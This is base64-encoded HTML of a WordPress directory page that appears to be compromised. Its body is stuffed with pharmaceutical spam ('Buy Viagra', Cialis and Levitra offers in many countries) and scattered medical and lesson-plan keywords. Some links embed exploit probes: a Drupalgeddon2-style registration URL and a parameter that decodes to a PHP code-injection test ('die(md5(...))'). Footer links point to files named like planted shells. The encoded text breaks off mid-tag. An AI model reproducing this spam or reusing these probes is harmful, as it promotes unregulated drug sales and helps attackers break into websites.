hIGluIEVneXB0IENhaXJvIFZpYWdyYSBtZWRpIHRhYnMgZHR2IGFudGVubmFzIHBsYW5zIHdhcm5pbmcgc2lnbnMgb2YgY2FuY2VyIGluIGRvZ3MgY2FuY2VyIHNvcmVzIGluIHRvZGRsZXJzIHF1aXQgc21va2luZyBsYXNlciB0aGVyYXB5IGNhbGlmb3JuaWEgc2FuIGpvc2UgcnlsYW5kIHBhcmsgbWFzdGVyIHBsYW4gZGlhYmV0ZXMgZWR1Y2F0aW9uIHJlc3VsdHMgaG9tZW9wYXRoaWMgbWVkaWNhbCBkb2N0b3IgYXJpem9uYSB3ZWlnaHQgbG9zcyB2ZWdldGFyaWFuIHdlaWdodCBsb3NzIG1lYWwgcGxhbiBzeW1wdG9tcyBhbmQgc2lnbnMgb2YgY29sb24gY2FuY2VyIHNvdnJlbWVueSBzaGlwIHBsYW4gcmVkIGNhbGxvdXNlZCBza2luIHJoZXVtYXRvaWQgYXJ0aHJpdGlzIG1hbW1vZ3JhbSBjYW5jZXIgY2VydmljYWwgc3BpbmUgY2FuY2VyIHN5bXB0b21zIG92YXJpYW4gY2FuY2VyIG5hdXNlYSB2dWx2YXIgY2FuY2VyIHN1cmdlcnkgYXJ0aHJpdGlzIGZvdW5kYXRpb24gZmlicm8gYmlsbCBueWUgdHJhbnNwb3J0YXRpb24gZHZkIGxlc3NvbiBwbGFuIGFudGhlbSBoZWFsdGggZ2FwIHBsYW4gc3BlY2lhbCBmYWN0b3JzIG1hbmFnZW1lbnQgcGxhbiBkb3dubG9hZCBjb2xvbiBjYW5jZXIgZ2VuZXRpYyB0ZXN0IHNob3VsZGVyIHBhaW4gY2FuY2VyIGVuZ2luZSB0ZXN0IHN0YW5kIHBsYW5zIHZpdGFtaW4gZCBibWkgaW50ZXJhY3Rpb24gdGVybSByZWdyZXNzaW9uIGFsYnV0ZXJvbCB3YXJpY2sgdG90YWwgbGlmZSB2aXRhbWlucyBsaXRoaXVtIHBvbHltZXIgYmF0dGVyeSBwcm90ZWN0aW9uIGludGVncmF0ZWQgY2lyY3VpdHMgc2F0IHByZXAgbGVzc29uIHBsYW5zIGxvd2VyIGJsb29kIHByZXNzdXJlIGZvb2RzPC9wPgo8cD5CdXkgVmlhZ3JhIGluIEFtZXJpY2FuIFNhbW9hIFBhZ28gUGFnbyBjYXJnbyBwbGFucyBmaWJlciBhcnQgbGVzc29uIHBsYW5zIG5ldyBob21lIGNvbnN0cnVjdGlvbiBwbGFucyBmcmVlIHdvb2QgY2hlc3QgcGxhbnMgYWx0ZXJuYXRpdmUgdHJlYXRtZW50IGJyZWFzdCBjYW5jZXIgc2tpbiBjYXJlIG5vbiBjb21lZG9nZW5pYyBqb2xpc2EgY29zbWV0aWMgcGFydHkgcGxhbiBlbWFpbCBtZW50YWwgaWxsbmVzcyBwcm9maWxlIHJhZGlhdGlvbiBjYXVzZWQgY2FuY2VycyBoYW5mb3JkIHdhIHNraW4gY2FyZSBhbmQgdGhlIGVudmlyb25tZW50IGFsdW1pbnVtIGFpcnBsYW5lIHBsYW5zIHNwZWN0cmFjZWxsIHZpdGFtaW4gZGVmaWNpZW5jeSB0ZXN0IGFsYmVuZGF6b2xlIHZldGVybmFyeSBtZWRzIHByb3N0cmF0ZSBjYW5jZXIgYWZ0ZXIgY2FyZSBjb25zdGlwYXRpb24gZGVtZW50aWEgY2FyZGlvdmFzY3VsYXIgaGFydmFyZCBzdGFtZm9yZCBtYXlvIDIwMDYtMjAwNyBzaGVsbCBkcm9wcyBiZWF1Zm9ydCBwbGFuIGNhbmNlciBzb2xhciBlY2xpc3BlIGp1bHkgMjIgMjAxMCBnZW5lcmljIGhlYXJ0d29ybSBtZWRpY2luZSAuMjIgY2FsIGdhdGxpbmcgcGxhbnMgZXNvcGhhZ2VhbCBjYW5jZXIgc3VwcG9ydCBncm91cHMgYXJpem9uYSBwcm9ibGVtcyB3aXRoIGNvbXBlbnNhdGlvbiBwbGFucyBiYWQgYnJlYXRoIGRpYWJldGVzIGxpdGhpdW0gcG9seW1lciBiYXR0ZXJpZXMgemlwcHkgcnggc3lzdGVtcyBza2luIGNhcmUgY2hhbGZvbnQgYW1lcmljYW4gY2FuY2VyIHNvY2lldHkgb2ZmaWNlIGRpYWJldGVzIGhlcmJhbCBtZWRpY2luZSBzdHJhdXNzIHZhbGV0IGJveCBwbGFucyBob3Jtb25lcyBhbmQgYWdyaWN1bHR1cmUgQ2FsZ2FyeSB2aWFncmEgZnVsbCBkYXkga2luZGVyZ2FydGVuIGZsb29yIHBsYW5zIGhpZ2ggc2Nob29sIGxlc3NvbiBwbGFucyBmb3IgcmVmcmFjdGlvbiBjaGVtb3RoZXJhcHkgbHVuZyBjYW5jZXIgZnJlZSBsZXNzb24gcGxhbnMgZm9yIHByZXNjaG9vbCB0ZWFjaGVycyBheml0aHJvbXljaW4gZm9yIGFjbmUgbHN1IGNhbmNlciBjZW50ZXI8L3A+CjxwPkJ1eSBWaWFncmEgaW4gVHVuaXNpYSBUdW5pcyBkaWZmZXJlbmNlcyBkaWFiZXRlcyBtZWxsaXRpcyBhbmQgZGlhYmV0ZXMgaW5zaXBpZHVzIGxpdGNvIGxpdGhpdW0gb3ZhcmlhbiBjYW5jZXIgdHVtb3IgbWV0YXN0YXNpcyBwcm9qZWN0IHBsYW4gY2FmZXRlcmlhIGRlYml0IGFza2luZyBxdWVzdGlvbnMgbGVzc29uIHBsYW4gc2Vjb25kIGdyYWRlIG5vdCByZXRhaW5pbmcgdml0YW1pbiBiIGFsbCBzcG90IHZpdGFtaW5zIGlzIGNobG9yYW1idWNpbCBzaGVkIGluIGRvZyB1cmluZSBzaWduIGFuZCBwbGFuIGNhcHMgcGxhY2UgcmVzdHJhdW50IGFydGhyaXRpcyBoZWxwZXJzIHBsYW5zIGZvciBlbmVyZ3kgY29uc2VydmF0aW9uIHNhbXBsZSBlIGNvbW1lcmNlIGJ1c2luZXNzIHBsYW4gZ2VuZXJpYyBlbmdpbmVlcmluZyBwcmUtc2Nob29sIHN0b3J5IHRpbWUgcGxhbnMgYW1lcmljYW4gZm91cnNxdWFyZSBmbG9vciBwbGFucyBwcmltZSBtaW5pc3RlciB3aWxmcmlkIGxhdXJpZXIgbGVzc29uIHBsYW5zIGRpdmluIHBsYW4gZGVzIGFnZXMgVmlhZ3JhIHByZW1hdHVyZSBlamFja3VsYXRpb24gZGkgdGlzdGVyIGRpYWJldGVzIGV4YW1wbGVzIG9mIHJlY2VwdGlvbmlzdCB0cmFpbmluZyBkZXNpZ24gcGxhbiBmZGEgc3Bpcm9ub2xhY3RvbmUgc2Vjb25kYXJ5IHByb2dyYW0gbGVzc29uIHBsYW5zIGNhbmNlciB0cmVhdG1lbnQgaW4gcG9ydHVnYWwgY2xpbmljYWwgdHJpYWwgZHJ1Z3MgZm9yIG92YXJpYW4gY2FuY2VyIHNob3J0IGFydGljbGVzIGFib3V0IGRpYWJldGVzIDV0aCBncmFkZSBsZXNzb24gcGxhbiB1bml0cyBjb3BkIGFuZCBjYW5jZXI8L3A+CjxhIGhyZWY9Imh0dHA6Ly93d3cubm9ydGhsZWVkc2xpZmVncm91cC5jb20vMjAxNC8wNy8wOS9idW5kb2J1c3QtcHVydmV5b3JzLW9mLWZpbmUtY3JhZnQtYmVlcnMtYW5kLWNyYWNraW5nLWluZGFpbi1zdHJlZXQtZm9vZC1vcGVucy1pbi1sZWVkcy10aGlzLWZyaWRheS8iPkJ1eSBWaWFncmEgU29mdCBpbiBQZXJ1IExpbWE8L2E+IDxhIGhyZWY9Imh0dHBzOi8vd3d3LmFwb3BzaS10b3JhLmdyLyVjZSViZCVjZSVhZiVjZSViYSVjZSViZiVjZiU4Mi0lY2UlYjglY2UlYjclY2UlYjIlY2UlYjElY2UlYWYlY2UlYmYlY2YlODItJWNlJWJjJWNlJWI5JWNlJWIxLSVjZiU4MCVjZiU4MSVjZiU4ZSVjZiU4NCVjZSViNy0lY2UlYjQlY2UlYjklY2UlYmElY2UlYjElY2UlYWYlY2YlODklY2YlODMlY2UlYjctJWNlJWIzJWNlJWI5JWNlJWIxLyI+VmlhZ3JhIGJlZm9yZSBhbmQgYWZ0ZXIgcGhvdG9zPC9hPiA8YSBocmVmPSJodHRwOi8vd3d3LmRpcmVjdG1haWwtZGlyZWN0bWFpbC5jb20vd3NsX3BkZl9maWxlcy9XU0wlMjBMSVNUJTIwSU5URVJJT1IlMjBERUNPUkFUT1IlMjBQQUdFLnBkZiI+QnV5IExldml0cmEgUHJvZmVzc2lvbmFsIGluIFBhbGF1IE5nZXJ1bG11ZDwvYT4gPGEgaHJlZj0iaHR0cDovL3d3dy5teWNhcmVlci5vcmcuaW4vY2lsLWNvYWwtaW5kaWEtbGltaXRlZC01MjgtcG9zdHMvIj5XaG8gcGxheXMgZ3VpdGFyIGluIGNpYWxpcyBjb21tZXJjaWFsPC9hPiA8YSBocmVmPSJodHRwOi8vd3d3LmxvbmVzZW50cnkuY29tL2Jsb2cvdGFnL3RyYW0vZmVlZCI+UHVyY2hhc2UgQ2lhbGlzIFNvZnQgaW4gTmlnZXIgTmlhbWV5PC9hPiA8YSBocmVmPSJodHRwOi8vd3d3LmRydWhlcGtpbnMuY29tLz9zPSVFMyU4MCU5NiVFQiVCMCU5NCVFQyVCOSVCNCVFQiU5RCVCQyVFQyU4MiVBQyVFQyU5RCVCNCVFRCU4QSVCOCVFMyU4MCU5NyVFMiU5NCU4Mi0lRUMlODYlOTQlRUIlQTAlODglRUMlOTYlQjQlRUMlQjklQjQlRUMlQTclODAlRUIlODUlQjgtJUUyJTk5JTgwJUVDJTk4JUE4JUVCJTlEJUJDJUVDJTlEJUI4KyVFQyVCOSVCNCVFQyVBNyU4MCVFQiU4NSVCOCslRUMlQjQlOUQlRUQlOEMlOTAlRTElODMlQTYlRUYlQjklOUQlRUYlQjklOUUlRTIlOTklQUElRTMlODAlOTZha2F4eC5jb20lRTMlODAlOTclNUIlNUQlRUElQjAlOTUlRUMlOUIlOTArJUVCJSI+QnV5IEthbWFncmEgT3JhbCBKZWxseSBpbiBGcmVuY2ggUG9seW5lc2lhIFBhcGVldGU8L2E+IDxhIGhyZWY9Imh0dHA6Ly9iMmNvbW1zLmNvbS93cC1jcmFmdC1yZXBvcnQucGhwP2QxPVpHbGxLRzFrTlNnek5EVXpOQ2twT3c9PSI+Q29tZSBieSBDaWFsaXMgU3VibGluZ3VhbCB3aXRoIEFDSDwvYT4gPGEgaHJlZj0iaHR0cHM6Ly93d3cubXVzdGFuZ2Jpby5jb20vaW52ZXN0b3ItcmVsYXRpb25zL3NlYy1maWxpbmdzLyI+QnV5IExldml0cmEgaW4gTm9yZm9sayBJc2xhbmQgS2luZ3N0b248L2E+IDxhIGhyZWY9Imh0dHBzOi8vcml2ZXJqb3JkYW5wcm9qZWN0Lm9yZy9wYXJ0bmVyc2hpcHMvc2NyZWVuLXNob3QtMjAxNC0wNi0yOC1hdC04LTAwLTI0LXBtLyI+UGFnZXMgZWRpbmJ1cmdoIHNlYXJjaCB2aWFncmEgYm9yaW5nPC9hPiANCgkJPC9kaXY+CjwvYXJ0aWNsZT4KCgoJCQk8L2Rpdj4KCgkJPC9kaXY+CgoKCQkJCTxkaXYgaWQ9InNlY29uZGFyeSIgY2xhc3M9IndpZGdldC1hcmVhIiByb2xlPSJjb21wbGVtZW50YXJ5Ij4KPGFzaWRlIGlkPSJhaXQtZGlyZWN0b3J5LXdpZGdldC0yIiBjbGFzcz0id2lkZ2V0IHdpZGdldF9kaXJlY3RvcnkiPgkJCTxkaXYgY2xhc3M9Im5vdC1sb2dnZWQiPg0KCQkJPGRpdiBpZD0iYWl0LWxvZ2luLXRhYnMiPg0KCQkJCTx1bD4NCgkJCQkJPGxpPjxhIGNsYXNzPSJsb2dpbiIgaHJlZj0iI2FpdC1kaXItbG9naW4tdGFiIj5Mb2dpbjwvYT48L2xpPg0KCQkJCQk8bGkgY2xhc3M9ImFjdGl2ZSI+PGEgY2xhc3M9InJlZ2lzdGVyIiBocmVmPSIjYWl0LWRpci1yZWdpc3Rlci10YWIiPlJlZ2lzdGVyPC9hPjwvbGk+DQoJCQkJPC91bD4NCg0KCQkJCQ0KCQkJCTxkaXYgaWQ9ImFpdC1kaXItbG9naW4tdGFiIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPg0KCQkJCTxwPjwvcD4NCgkJCQkKCQk8Zm9ybSBuYW1lPSJhaXQtbG9naW4tZm9ybS13aWRnZXQiIGlkPSJhaXQtbG9naW4tZm9ybS13aWRnZXQiIGFjdGlvbj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1sb2dpbi5waHAiIG1ldGhvZD0icG9zdCI+CgkJCQoJCQk8cCBjbGFzcz0ibG9naW4tdXNlcm5hbWUiPgoJCQkJPGxhYmVsIGZvcj0idXNlcl9sb2dpbiI+VXNlcm5hbWUgb3IgRW1haWwgQWRkcmVzczwvbGFiZWw+CgkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibG9nIiBpZD0idXNlcl9sb2dpbiIgY2xhc3M9ImlucHV0IiB2YWx1ZT0iIiBzaXplPSIyMCIgLz4KCQkJPC9wPgoJCQk8cCBjbGFzcz0ibG9naW4tcGFzc3dvcmQiPgoJCQkJPGxhYmVsIGZvcj0idXNlcl9wYXNzIj5QYXNzd29yZDwvbGFiZWw+CgkJCQk8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InB3ZCIgaWQ9InVzZXJfcGFzcyIgY2xhc3M9ImlucHV0IiB2YWx1ZT0iIiBzaXplPSIyMCIgLz4KCQkJPC9wPgoJCQkKCQkJPHAgY2xhc3M9ImxvZ2luLXJlbWVtYmVyIj48bGFiZWw+PGlucHV0IG5hbWU9InJlbWVtYmVybWUiIHR5cGU9ImNoZWNrYm94IiBpZD0icmVtZW1iZXJtZSIgdmFsdWU9ImZvcmV2ZXIiIC8+IFJlbWVtYmVyIE1lPC9sYWJlbD48L3A+CgkJCTxwIGNsYXNzPSJsb2dpbi1zdWJtaXQiPgoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0id3Atc3VibWl0IiBpZD0id3Atc3VibWl0IiBjbGFzcz0iYnV0dG9uIGJ1dHRvbi1wcmltYXJ5IiB2YWx1ZT0iTG9nIEluIiAvPgoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmVkaXJlY3RfdG8iIHZhbHVlPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tLyIgLz4KCQkJPC9wPgoJCQkKCQk8L2Zvcm0+CQkJCTwvZGl2Pg0KDQoJCQkJDQoJCQkJPGRpdiBpZD0iYWl0LWRpci1yZWdpc3Rlci10YWIiPg0KCQkJCTxwPjwvcD4NCgkJCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS8/ZGlyLXJlZ2lzdGVyPXJlZ2lzdGVyIiBjbGFzcz0id3AtdXNlci1mb3JtIj4NCgkJCQkJPGRpdiBjbGFzcz0icmVnaXN0ZXItdXNlcm5hbWUiPg0KCQkJCQkJPGxhYmVsIGZvcj0idXNlcl9sb2dpbiI+VXNlcm5hbWUgPC9sYWJlbD4NCgkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyX2xvZ2luIiB2YWx1ZT0iIiBzaXplPSIyMCIgaWQ9InVzZXJfbG9naW5fcmVnaXN0ZXJfd2lkZ2V0IiB0YWJpbmRleD0iMTAxIiAvPg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0icmVnaXN0ZXItZW1haWwiPg0KCQkJCQkJPGxhYmVsIGZvcj0idXNlcl9lbWFpbCI+RW1haWwgPC9sYWJlbD4NCgkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyX2VtYWlsIiB2YWx1ZT0iIiBzaXplPSIyNSIgaWQ9InVzZXJfZW1haWxfcmVnaXN0ZXJfd2lkZ2V0IiB0YWJpbmRleD0iMTAyIiAvPg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0icmVnaXN0ZXItcm9sZSI+DQoJCQkJCQk8bGFiZWwgZm9yPSJkaXJlY3Rvcnktcm9sZSI+UGFja2FnZSA8L2xhYmVsPg0KCQkJCQkJPHNlbGVjdCBuYW1lPSJkaXJlY3Rvcnktcm9sZSI+DQoJCQkJCQk8b3B0aW9uIHZhbHVlPSJkaXJlY3RvcnlfMSIgY2xhc3M9ImZyZWUiPlN1Ym1pdCBBIE5ldyBMaXN0aW5nIChGcmVlKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRpcmVjdG9yeV8yIj5EaXJlY3RvcnkgUHJlbWl1bSAoMTAgVVNEKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRpcmVjdG9yeV8zIj5DbGFpbSBZb3VyIExpc3RpbmcgLSA0NyBVU0QgcGVyIHllYXIgKDQ3IFVTRCk8L29wdGlvbj4JCQkJCQk8L3NlbGVjdD4NCgkJCQkJPC9kaXY+DQoJCQkJCTxkaXYgY2xhc3M9ImxvZ2luLWZpZWxkcyI+DQoJCQkJCQkJCQkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1c2VyLXN1Ym1pdCIgdmFsdWU9IlNpZ24gdXAhIiBjbGFzcz0idXNlci1zdWJtaXQiIHRhYmluZGV4PSIxMDMiIC8+DQoJCQkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZWRpcmVjdF90byIgdmFsdWU9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20iIC8+DQoJCQkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1c2VyLWNvb2tpZSIgdmFsdWU9IjEiIC8+DQoJCQkJCTwvZGl2Pg0KCQkJCTwvZm9ybT4NCgkJCQk8L2Rpdj4NCg0KCQkJCTxzY3JpcHQ+DQoJCQkJalF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigkKSB7DQoJCQkJCXZhciB0YWJSZWdpc3RlciA9ICQoJyNhaXQtZGlyLXJlZ2lzdGVyLXRhYicpLA0KCQkJCQkJdGFiTG9naW4gPSAgJCgnI2FpdC1kaXItbG9naW4tdGFiJyksDQoJCQkJCQlsaW5rTG9naW4gPSAkKCcjYWl0LWxvZ2luLXRhYnMgLmxvZ2luJyksDQoJCQkJCQlsaW5rUmVnaXN0ZXIgPSAkKCcjYWl0LWxvZ2luLXRhYnMgLnJlZ2lzdGVyJyk7DQoJCQkJCWxpbmtMb2dpbi5jbGljayhmdW5jdGlvbihldmVudCkgew0KCQkJCQkJbGlua1JlZ2lzdGVyLnBhcmVudCgpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTsNCgkJCQkJCXRhYlJlZ2lzdGVyLmhpZGUoKTsNCgkJCQkJCWxpbmtMb2dpbi5wYXJlbnQoKS5hZGRDbGFzcygnYWN0aXZlJyk7DQoJCQkJCQl0YWJMb2dpbi5zaG93KCk7DQoJCQkJCQlldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KCQkJCQl9KTsNCgkJCQkJbGlua1JlZ2lzdGVyLmNsaWNrKGZ1bmN0aW9uKGV2ZW50KSB7DQoJCQkJCQlsaW5rTG9naW4ucGFyZW50KCkucmVtb3ZlQ2xhc3MoJ2FjdGl2ZScpOw0KCQkJCQkJdGFiTG9naW4uaGlkZSgpOw0KCQkJCQkJbGlua1JlZ2lzdGVyLnBhcmVudCgpLmFkZENsYXNzKCdhY3RpdmUnKTsNCgkJCQkJCXRhYlJlZ2lzdGVyLnNob3coKTsNCgkJCQkJCWV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQoJCQkJCX0pOw0KCQkJCQkvLyBpbml0IGFuZCBjaGFuZ2UNCgkJCQkJdmFyIHNlbGVjdCA9IHRhYlJlZ2lzdGVyLmZpbmQoJ3NlbGVjdFtuYW1lPWRpcmVjdG9yeS1yb2xlXScpLA0KCQkJCQkJYnV0dG9uU3VibWl0ID0gdGFiUmVnaXN0ZXIuZmluZCgnaW5wdXRbbmFtZT11c2VyLXN1Ym1pdF0nKSwNCgkJCQkJCWZyZWVUaXRsZSA9ICdTaWduIHVwJywNCgkJCQkJCWJ1eVRpdGxlID0gJ0J1eSB3aXRoIFBheVBhbCc7DQoJCQkJCWlmKHNlbGVjdC5maW5kKCdvcHRpb246c2VsZWN0ZWQnKS5oYXNDbGFzcygnZnJlZScpKXsNCgkJCQkJCWJ1dHRvblN1Ym1pdC52YWwoZnJlZVRpdGxlKTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWJ1dHRvblN1Ym1pdC52YWwoYnV5VGl0bGUpOw0KCQkJCQl9DQoJCQkJCXNlbGVjdC5jaGFuZ2UoZnVuY3Rpb24oZXZlbnQpIHsNCgkJCQkJCWlmKHNlbGVjdC5maW5kKCdvcHRpb246c2VsZWN0ZWQnKS5oYXNDbGFzcygnZnJlZScpKXsNCgkJCQkJCQlidXR0b25TdWJtaXQudmFsKGZyZWVUaXRsZSk7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCWJ1dHRvblN1Ym1pdC52YWwoYnV5VGl0bGUpOw0KCQkJCQkJfQ0KCQkJCQl9KTsNCgkJCQl9KTsNCgkJCQk8L3NjcmlwdD4NCg0KCQkJPC9kaXY+DQoJCQk8L2Rpdj4NCgkJCTwvYXNpZGU+PGFzaWRlIGlkPSJjdXN0b21fcG9zdF90eXBlX3dpZGdldC0yIiBjbGFzcz0id2lkZ2V0IHdpZGdldF9jdXN0b21fcG9zdF90eXBlX3dpZGdldCI+Tm8gcG9zdHMgZm91bmQ8L2FzaWRlPjxhc2lkZSBpZD0idGV4dC0yIiBjbGFzcz0id2lkZ2V0IHdpZGdldF90ZXh0Ij4JCQk8ZGl2IGNsYXNzPSJ0ZXh0d2lkZ2V0Ij48c2NyaXB0IGFzeW5jIHNyYz0iLy9wYWdlYWQyLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9wYWdlYWQvanMvYWRzYnlnb29nbGUuanMiPjwvc2NyaXB0Pg0KDQo8aW5zIGNsYXNzPSJhZHNieWdvb2dsZSINCiAgICAgc3R5bGU9ImRpc3BsYXk6aW5saW5lLWJsb2NrO3dpZHRoOjMwMHB4O2hlaWdodDoyNTBweCINCiAgICAgZGF0YS1hZC1jbGllbnQ9ImNhLXB1Yi0xODIwMTcxOTU0ODU0NDgyIg0KICAgICBkYXRhLWFkLXNsb3Q9IjcxMzk3MDEwNDkiPjwvaW5zPg0KPHNjcmlwdD4NCihhZHNieWdvb2dsZSA9IHdpbmRvdy5hZHNieWdvb2dsZSB8fCBbXSkucHVzaCh7fSk7DQo8L3NjcmlwdD48L2Rpdj4KCQk8L2FzaWRlPjxhc2lkZSBpZD0icG9zdHMtd2lkZ2V0LTIiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X3Bvc3RzIj4gICAgICAgIDxkaXYgY2xhc3M9InBvc3RpdGVtcy13cmFwcGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InBvc3RpdGVtIGNsZWFyZml4ICBsYXN0Ij4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgCgogICAgICAgICAgICAgICAgPHA+PHNtYWxsPkZpcnN0IHNvY2lhbCBtZWRpYXJzIHBvc3Q8L3NtYWxsPjwvcD4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVhZC1tb3JlIj4KICAgICAgICAgICAgICAgICAgICA8c21hbGwgY2xhc3M9ImZsIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz5GZWJydWFyeSAzLCAyMDE4PC9zdHJvbmc+CiAgICAgICAgICAgICAgICAgICAgPC9zbWFsbD4KCiAgICAgICAgICAgICAgICAgICAgPHNtYWxsIGNsYXNzPSJmciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8vc29jaWFsbWVkaWFycy5jb20vL3VzZXIvcmVnaXN0ZXIvP2VsZW1lbnRfcGFyZW50cz1hY2NvdW50L21haWwvJTIzdmFsdWUmYWpheF9mb3JtPTEmX3dyYXBwZXJfZm9ybWF0PWRydXBhbF9hamF4Ij5CdXkgQ2lhbGlzIEplbGx5IGluIEJyYXppbCBCcmFz7WxpYTwvYT4KICAgICAgICAgICAgICAgICAgICA8L3NtYWxsPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+PC9hc2lkZT4JCQkJPC9kaXY+CgoJPC9kaXY+Cgo8L2Rpdj4gCgoJCTxmb290ZXIgaWQ9ImNvbG9waG9uIiByb2xlPSJjb250ZW50aW5mbyI+CgoJCQk8ZGl2IGlkPSJzdXBwbGVtZW50YXJ5IiBjbGFzcz0id2lkZ2V0cyBkZWZhdWx0Q29udGVudFdpZHRoIj4KCgoJCQk8L2Rpdj4KCjxkaXYgaWQ9InNpdGUtZ2VuZXJhdG9yIiBjbGFzcz0iY2xlYXJmaXgiPgoJPGRpdiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCI+CgkJPGRpdiBpZD0iZm9vdGVyLXRleHQiPgoJCQk8cD48c3Ryb25nPsKpIDIwMTUgQ29weXJpZ2h0IGJ5IERpcmVjdG9yeSAuPC9zdHJvbmc+IEFsbCByaWdodHMgcmVzZXJ2ZWQuPC9wPgoJCTwvZGl2Pgo8bmF2IGNsYXNzPSJmb290ZXItbWVudSI+PHVsIGlkPSJtZW51LWZvb3Rlci1tZW51IiBjbGFzcz0ibWVudSI+PGxpIGlkPSJtZW51LWl0ZW0tODIzNiIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS1ob21lIGN1cnJlbnQtbWVudS1pdGVtIHBhZ2VfaXRlbSBwYWdlLWl0ZW0tNyBjdXJyZW50X3BhZ2VfaXRlbSBtZW51LWl0ZW0tODIzNiI+PGEgaHJlZj0iaHR0cHM6Ly9zb2NpYWxtZWRpYXJzLmNvbS8vdnVsbi5odG0iPlNob3AgTGV2aXRyYSBFeHRyYSBEb3NhZ2UgaW4gQ2F5bWFuIElzbGFuZHMgR2VvcmdlIFRvd248L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODIzNSIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjM1Ij48YSBocmVmPSJodHRwczovL3NvY2lhbG1lZGlhcnMuY29tLy8vd2ViY29uZmlnLnR4dC5waHAiPlJlZCB2aWFncmEgdmlkZW88L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODIzOCIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjM4Ij48YSBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL2xvYy9jYWxpZm9ybmlhLyI+QnV5IENpYWxpcyBTb2Z0IGluIEVhc3QgVGltb3IgKFRpbW9yLUxlc3RlKSBEaWxpPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyMzciIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODIzNyI+PGEgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS9sb2Mvd2FzaGluZ3Rvbi8iPkJyYW5kIENpYWxpcyBnZW5lcmljIC0gV2l0aG91dCBwcmVzY3JpcHRpb248L2E+PC9saT4KPC91bD48L25hdj4JPC9kaXY+CjwvZGl2PgoJCTwvZm9vdGVyPgoKCTwvZGl2PgoKPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy9jb21tZW50LXJlcGx5Lm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgovKiA8IVtDREFUQVsgKi8KdmFyIHdwY2Y3ID0geyJhcGlTZXR0aW5ncyI6eyJyb290IjoiaHR0cDpcL1wvd3d3LnNvY2lhbG1lZGlhcnMuY29tXC93cC1qc29uXC9jb250YWN0LWZvcm0tN1wvdjEiLCJuYW1lc3BhY2UiOiJjb250YWN0LWZvcm0tN1wvdjEifSwicmVjYXB0Y2hhIjp7Im1lc3NhZ2VzIjp7ImVtcHR5IjoiUGxlYXNlIHZlcmlmeSB0aGF0IHlvdSBhcmUgbm90IGEgcm9ib3QuIn19fTsKLyogXV0+ICovCjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvcGx1Z2lucy9jb250YWN0LWZvcm0tNy9pbmNsdWRlcy9qcy9zY3JpcHRzLmpzP3Zlcj00LjkuMic+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0